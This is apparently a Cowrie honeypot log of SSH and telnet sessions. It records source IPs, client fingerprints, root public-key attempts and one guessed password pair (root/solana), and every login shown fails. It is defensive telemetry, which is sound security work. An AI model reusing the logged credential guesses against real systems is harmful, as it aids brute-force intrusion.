{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.411367Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:30:87:3c:79:2e:0b:a3:8e:24:60:b6:b4:33:3e:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7gg8zs3n2wvNrE5QDHSSNwp5HwrcQbtwxSAIuTndRR8m1guDWfGvZtQUDZvSNxL+cPoshRnt9mxF6JuE76YTwR8fpn9PQgAOZ6kHV82rPi9DjAqx5tKAA3u4hVKeSKxzvYdsNGvaqn0mqXRaBJPRP7gEyJowr42DL2TOhKxXo9VxgwBiTnmyTnyRqCCt70Hz1xXB96rJ/iJNMzkTRUk5LdKHqEqDqbY4VEezt8nALi0Jna4jHl09zgPkUfLGm24/dQWO+lsHkk8a83WuZvAYdHPxISPqvbE5TCZVyqpEQhEQCo5FH7NPahxbDmb2mXRY2lXx5cAQMRvz7PNSaxA2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:30:87:3c:79:2e:0b:a3:8e:24:60:b6:b4:33:3e:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.731272Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:30:87:3c:79:2e:0b:a3:8e:24:60:b6:b4:33:3e:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7gg8zs3n2wvNrE5QDHSSNwp5HwrcQbtwxSAIuTndRR8m1guDWfGvZtQUDZvSNxL+cPoshRnt9mxF6JuE76YTwR8fpn9PQgAOZ6kHV82rPi9DjAqx5tKAA3u4hVKeSKxzvYdsNGvaqn0mqXRaBJPRP7gEyJowr42DL2TOhKxXo9VxgwBiTnmyTnyRqCCt70Hz1xXB96rJ/iJNMzkTRUk5LdKHqEqDqbY4VEezt8nALi0Jna4jHl09zgPkUfLGm24/dQWO+lsHkk8a83WuZvAYdHPxISPqvbE5TCZVyqpEQhEQCo5FH7NPahxbDmb2mXRY2lXx5cAQMRvz7PNSaxA2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.734979Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:58:39:f2:a5:12:be:36:f0:9f:66:69:33:c8:e3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3WAR3jGgHn5cNOg/dsdxGroCIX0gkau3mMBblSSTkTZ7hJjjyNyZ8NVUL2KUpRAxzOWULNWtqmyV85TY4yPprY2yIgfeAKOMf/yKfoWLObQY9vO4ga//1QWva6ItdattHVcMti0GJ86hY1BK+Z2gQ09gw6UY1wtHCkzfGbU0EW0up2K9xvV2FqV3q0OrHnY9Rau8r0RrQehB/N5KOYPd79cO1VRH43aeHLVS1Fiutz8jBDo8jBIRLtliIFp+05eC7KLz6Ld+uwbvtgXF8UGuFTndXnBOCluJF9yQ70g3ukZAT1NOBxfbA/vPb451hPHBJ/lwlZvRBVEt4wHNEg4zdD5z4M7QIf1JDZPZr7Mx6FtpjwMS88K8hwkIhvAzRBgdHsSBkrSr9kfHHq4BC+a6byf49IkgHfwEq6fj+dAbzv8PJJGTnSi5tJNRXRMA1bDUKgkn8b1UGZArnU/xWDl4QCkG45JTwFHILh9Kxqioo1U4/wyGyK39Mi2H28f8TPdV7fel8+R3flybNZetzpflI2aN1KATy3rtbvzhn8QH3O9mfjik+LL4SfFyrWekBrKxVVKpdCoUh3W6LKqF021Pc2wrpt1DaBeSzfZsRDqT4JP80FBLbTE5BNxeWl/bvCQ27xY/mYt3b8L3nYIwwPdhBp8skpRBp+68XzpyLPKf4JQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:58:39:f2:a5:12:be:36:f0:9f:66:69:33:c8:e3:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.808194Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:58:39:f2:a5:12:be:36:f0:9f:66:69:33:c8:e3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3WAR3jGgHn5cNOg/dsdxGroCIX0gkau3mMBblSSTkTZ7hJjjyNyZ8NVUL2KUpRAxzOWULNWtqmyV85TY4yPprY2yIgfeAKOMf/yKfoWLObQY9vO4ga//1QWva6ItdattHVcMti0GJ86hY1BK+Z2gQ09gw6UY1wtHCkzfGbU0EW0up2K9xvV2FqV3q0OrHnY9Rau8r0RrQehB/N5KOYPd79cO1VRH43aeHLVS1Fiutz8jBDo8jBIRLtliIFp+05eC7KLz6Ld+uwbvtgXF8UGuFTndXnBOCluJF9yQ70g3ukZAT1NOBxfbA/vPb451hPHBJ/lwlZvRBVEt4wHNEg4zdD5z4M7QIf1JDZPZr7Mx6FtpjwMS88K8hwkIhvAzRBgdHsSBkrSr9kfHHq4BC+a6byf49IkgHfwEq6fj+dAbzv8PJJGTnSi5tJNRXRMA1bDUKgkn8b1UGZArnU/xWDl4QCkG45JTwFHILh9Kxqioo1U4/wyGyK39Mi2H28f8TPdV7fel8+R3flybNZetzpflI2aN1KATy3rtbvzhn8QH3O9mfjik+LL4SfFyrWekBrKxVVKpdCoUh3W6LKqF021Pc2wrpt1DaBeSzfZsRDqT4JP80FBLbTE5BNxeWl/bvCQ27xY/mYt3b8L3nYIwwPdhBp8skpRBp+68XzpyLPKf4JQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.811980Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:3e:ed:cd:20:fc:18:32:6a:60:e3:27:a6:9a:c6:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9DVYNN8JHvVrSddfaD8aSIRjrqx8EjqmyY9FM94DLpk1/aCpaV7ZWCc5LwcJmLp8e5+HlPX6IlY4VSjBXc5TaF7eIl4mhFWe8v0+M7K4Q9ASc+IyDRu8ZdiugF6odQ4sqoVmvwMeShpVgzzJS6pSO5LjEzpuWyOYPqdxv8ryQKAeodU3E7jZi3SwoRsRaCaPIMLpw9fbv+hPVXAFEtAgPLLXfILWTp2dFJRtSkEmhoNWmhIumooJTLReWGS1yeHP0Vg1rhb+ukZwaU+fmbkQ8GBUxd4tlIUQKYzoY8xe4qnoG4xwOjIEbkaP3DzPzYAgTz2lRKMeB83ku9OoZKW7uw1IiDzRSTcyQBOt9mGT3vClh2qqWafMF9kh6vBbIs6tU3doAmT+1sGZ9WR4k0/53PffbS+5JaphPFitRtKU/hP2oMtetYzuIpHAw3crCysCUDm8ClUNCmpYiojOozCeL9fG/+8e3BJWRhlvozaO7bsowKYgttFWWSies9d6Bs/CGJqYZYhETCD+0L3Pgyn0ODLgIs42GOfNB1jPBfv4PJR3r7Irn2eCzI0u7X/LTRLbd+yGF3yvRRv1uZFrtoLqMdJ4WpmBZfMoWCpUvJnyRHfY0ua7ifdKkx1MQ8fexbGTkLBvt4pXADBPiw+pkrBJG5gnJ8iCog1sNBZSGjZO7KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:3e:ed:cd:20:fc:18:32:6a:60:e3:27:a6:9a:c6:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.880079Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:3e:ed:cd:20:fc:18:32:6a:60:e3:27:a6:9a:c6:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9DVYNN8JHvVrSddfaD8aSIRjrqx8EjqmyY9FM94DLpk1/aCpaV7ZWCc5LwcJmLp8e5+HlPX6IlY4VSjBXc5TaF7eIl4mhFWe8v0+M7K4Q9ASc+IyDRu8ZdiugF6odQ4sqoVmvwMeShpVgzzJS6pSO5LjEzpuWyOYPqdxv8ryQKAeodU3E7jZi3SwoRsRaCaPIMLpw9fbv+hPVXAFEtAgPLLXfILWTp2dFJRtSkEmhoNWmhIumooJTLReWGS1yeHP0Vg1rhb+ukZwaU+fmbkQ8GBUxd4tlIUQKYzoY8xe4qnoG4xwOjIEbkaP3DzPzYAgTz2lRKMeB83ku9OoZKW7uw1IiDzRSTcyQBOt9mGT3vClh2qqWafMF9kh6vBbIs6tU3doAmT+1sGZ9WR4k0/53PffbS+5JaphPFitRtKU/hP2oMtetYzuIpHAw3crCysCUDm8ClUNCmpYiojOozCeL9fG/+8e3BJWRhlvozaO7bsowKYgttFWWSies9d6Bs/CGJqYZYhETCD+0L3Pgyn0ODLgIs42GOfNB1jPBfv4PJR3r7Irn2eCzI0u7X/LTRLbd+yGF3yvRRv1uZFrtoLqMdJ4WpmBZfMoWCpUvJnyRHfY0ua7ifdKkx1MQ8fexbGTkLBvt4pXADBPiw+pkrBJG5gnJ8iCog1sNBZSGjZO7KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.883889Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:01:b0:02:31:6b:ff:3f:d5:1c:d9:9e:fd:e0:2b:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGF7co85scmBWdldWpix7rnmvZZaivQZe2LXXNQndn5bbaxf6szadmyhvFlnuIHyzWlZ+BRH4ziiMvXmr6RQH4fARh3mwAZcXQA4HqEegNO8XbbN+nWEPEz0LvO8MhPMgtHS2U86ULdT/XbGndhT0qUf3DaySL/ObygkUkwxanJ5RrhPmLMw9e/YzxOnZ2lVUjwOsO1IIG9e3n7QwRmQ3l+rIsB3RW9A6a4QEIFkEeGBrOWZ2SwP+XO15+/PYc5kNUt10r5jmYxnxOHxqf9IXzVku4HaKe+lcW7pnjdQR0kLxT+kUGHPS79XpeaGndhz+/Lf/hc0hPBC1XTiBs3Urks5GOv/SZBnH83BboINIBUlPP+itGNeV4M/PINLw5XykWgIWry/w40vURVU3Yd1H04XH4C2pbcwL8vFh+l6pDvEidNHlInz2cly/B1rMRh4E4invuYBt6iHAVW9k+mHXfTx4oNw978ZHukkihq+SoS7VGzwvx4xdbdgWf2IQvkY3+N99KOrpZwlNgPSZR6UQrRVKqV9JPNvnO1YKOfSjaCfiu2iIedU8lHOUt1tXaxB/9HhlIOwW9FODPUkHZDHuucTTkcdx1O288ApdzEkpk7c+G5UjeKtY8mlNTeJl85V8HMr5z75eI3E5NV1yY9FDTE8TTqepGevOfG+NEg31Y7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:01:b0:02:31:6b:ff:3f:d5:1c:d9:9e:fd:e0:2b:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.952762Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:01:b0:02:31:6b:ff:3f:d5:1c:d9:9e:fd:e0:2b:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGF7co85scmBWdldWpix7rnmvZZaivQZe2LXXNQndn5bbaxf6szadmyhvFlnuIHyzWlZ+BRH4ziiMvXmr6RQH4fARh3mwAZcXQA4HqEegNO8XbbN+nWEPEz0LvO8MhPMgtHS2U86ULdT/XbGndhT0qUf3DaySL/ObygkUkwxanJ5RrhPmLMw9e/YzxOnZ2lVUjwOsO1IIG9e3n7QwRmQ3l+rIsB3RW9A6a4QEIFkEeGBrOWZ2SwP+XO15+/PYc5kNUt10r5jmYxnxOHxqf9IXzVku4HaKe+lcW7pnjdQR0kLxT+kUGHPS79XpeaGndhz+/Lf/hc0hPBC1XTiBs3Urks5GOv/SZBnH83BboINIBUlPP+itGNeV4M/PINLw5XykWgIWry/w40vURVU3Yd1H04XH4C2pbcwL8vFh+l6pDvEidNHlInz2cly/B1rMRh4E4invuYBt6iHAVW9k+mHXfTx4oNw978ZHukkihq+SoS7VGzwvx4xdbdgWf2IQvkY3+N99KOrpZwlNgPSZR6UQrRVKqV9JPNvnO1YKOfSjaCfiu2iIedU8lHOUt1tXaxB/9HhlIOwW9FODPUkHZDHuucTTkcdx1O288ApdzEkpk7c+G5UjeKtY8mlNTeJl85V8HMr5z75eI3E5NV1yY9FDTE8TTqepGevOfG+NEg31Y7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:28.956330Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:fc:9d:94:e4:c0:c1:31:d8:19:82:3b:8c:a4:c4:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIKGpWAglRNNROyIRhrFdUnD95CmypZlLqtCvu2CYRnHEyl/OhLTqfieHvPbSH3j+mWmOYAtQzTFCOiMIjtLBmF7HXRr7BV6WEQKuvmSroSOQOmuX+LIhl5nvLbl0bzDwDxURUqKqSEEyepVhw0rzd+y6YMLklOXniK0dwhLhNV4GW+McYR/cR27ejGeQs71kc0cyz/31g92dvrYvqklbO6F4fU969eeRtQIBuUWZbER4sc3EAtxy+klqqy8aM+d6O4haA/0bhTonCQV8A3XyEpWFERreftE5ksEetmHfot42u4VnrrQWbyTZu6zglntLFFj/aVKRF0nOnO82wozBzA9bq38iN9JGNVdrb9VDmaHM8crJ4fCMmKYgdlfjJA9IiOm9Dn0PyDjXO7PIhHn/Z+yiubbZ6MUGkMRTkBeYbTAyHYaUADsiiUhucm2xkPqUMjRFAx7SvFYS5D6zQFcq0FMI7/MNLXJkE5zuwPHYjQG7FjzG8Lu1Uxjur9S3RGIohOxjcYhy4WOi5nFBTh2H0ixhRa2HONYTScNrmwdMWrIW1MtKl3mFnkDC3zFDbKVghOxerB0UvcKR/wfocB86XXO/mCPKSvdQL8bOnXkhhFepAclWgmvMh7rAEeTf3HMGLU1tapItiJ6XeSPyrlMDKTWCnar7bLFUhMbj5AniVOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:fc:9d:94:e4:c0:c1:31:d8:19:82:3b:8c:a4:c4:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:29.025359Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:fc:9d:94:e4:c0:c1:31:d8:19:82:3b:8c:a4:c4:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIKGpWAglRNNROyIRhrFdUnD95CmypZlLqtCvu2CYRnHEyl/OhLTqfieHvPbSH3j+mWmOYAtQzTFCOiMIjtLBmF7HXRr7BV6WEQKuvmSroSOQOmuX+LIhl5nvLbl0bzDwDxURUqKqSEEyepVhw0rzd+y6YMLklOXniK0dwhLhNV4GW+McYR/cR27ejGeQs71kc0cyz/31g92dvrYvqklbO6F4fU969eeRtQIBuUWZbER4sc3EAtxy+klqqy8aM+d6O4haA/0bhTonCQV8A3XyEpWFERreftE5ksEetmHfot42u4VnrrQWbyTZu6zglntLFFj/aVKRF0nOnO82wozBzA9bq38iN9JGNVdrb9VDmaHM8crJ4fCMmKYgdlfjJA9IiOm9Dn0PyDjXO7PIhHn/Z+yiubbZ6MUGkMRTkBeYbTAyHYaUADsiiUhucm2xkPqUMjRFAx7SvFYS5D6zQFcq0FMI7/MNLXJkE5zuwPHYjQG7FjzG8Lu1Uxjur9S3RGIohOxjcYhy4WOi5nFBTh2H0ixhRa2HONYTScNrmwdMWrIW1MtKl3mFnkDC3zFDbKVghOxerB0UvcKR/wfocB86XXO/mCPKSvdQL8bOnXkhhFepAclWgmvMh7rAEeTf3HMGLU1tapItiJ6XeSPyrlMDKTWCnar7bLFUhMbj5AniVOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:29.029352Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:29.099769Z","src_ip":"148.135.49.242","session":"9c28c32dbbfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":61974,"dst_ip":"10.17.0.5","dst_port":22,"session":"15952d0998d6","protocol":"ssh","message":"New connection: 45.148.10.152:61974 (10.17.0.5:22) [session: 15952d0998d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:56.158430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:56.162668Z","src_ip":"45.148.10.152","session":"15952d0998d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:56.246290Z","src_ip":"45.148.10.152","session":"15952d0998d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:03:56.613023Z","src_ip":"45.148.10.152","session":"15952d0998d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41052,"dst_ip":"159.203.135.109","dst_port":22,"session":"198f2629138e","protocol":"ssh","message":"New connection: 193.32.162.145:41052 (159.203.135.109:22) [session: 198f2629138e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:29.141609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:29.146638Z","src_ip":"193.32.162.145","session":"198f2629138e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:29.251020Z","src_ip":"193.32.162.145","session":"198f2629138e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana","message":"login attempt [root/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:29.645445Z","src_ip":"193.32.162.145","session":"198f2629138e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:30.753051Z","src_ip":"193.32.162.145","session":"198f2629138e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.163.125.110","src_port":51028,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ce013e4331","protocol":"telnet","message":"New connection: 201.163.125.110:51028 (159.203.135.109:23) [session: 66ce013e4331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:45.788258Z"}
{"eventid":"cowrie.session.closed","duration":12.998934984207153,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:04:58.787073Z","src_ip":"201.163.125.110","session":"66ce013e4331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.244.155.10","src_port":31895,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dbcc60bf794","protocol":"telnet","message":"New connection: 151.244.155.10:31895 (10.17.0.5:23) [session: 4dbcc60bf794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:05:00.190782Z"}
{"eventid":"cowrie.session.closed","duration":14.383499383926392,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:05:14.574177Z","src_ip":"151.244.155.10","session":"4dbcc60bf794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55092,"dst_ip":"159.203.135.109","dst_port":22,"session":"16151ae39aed","protocol":"ssh","message":"New connection: 193.32.162.145:55092 (159.203.135.109:22) [session: 16151ae39aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:06:44.854227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:06:44.858526Z","src_ip":"193.32.162.145","session":"16151ae39aed","protocol":"ssh"}
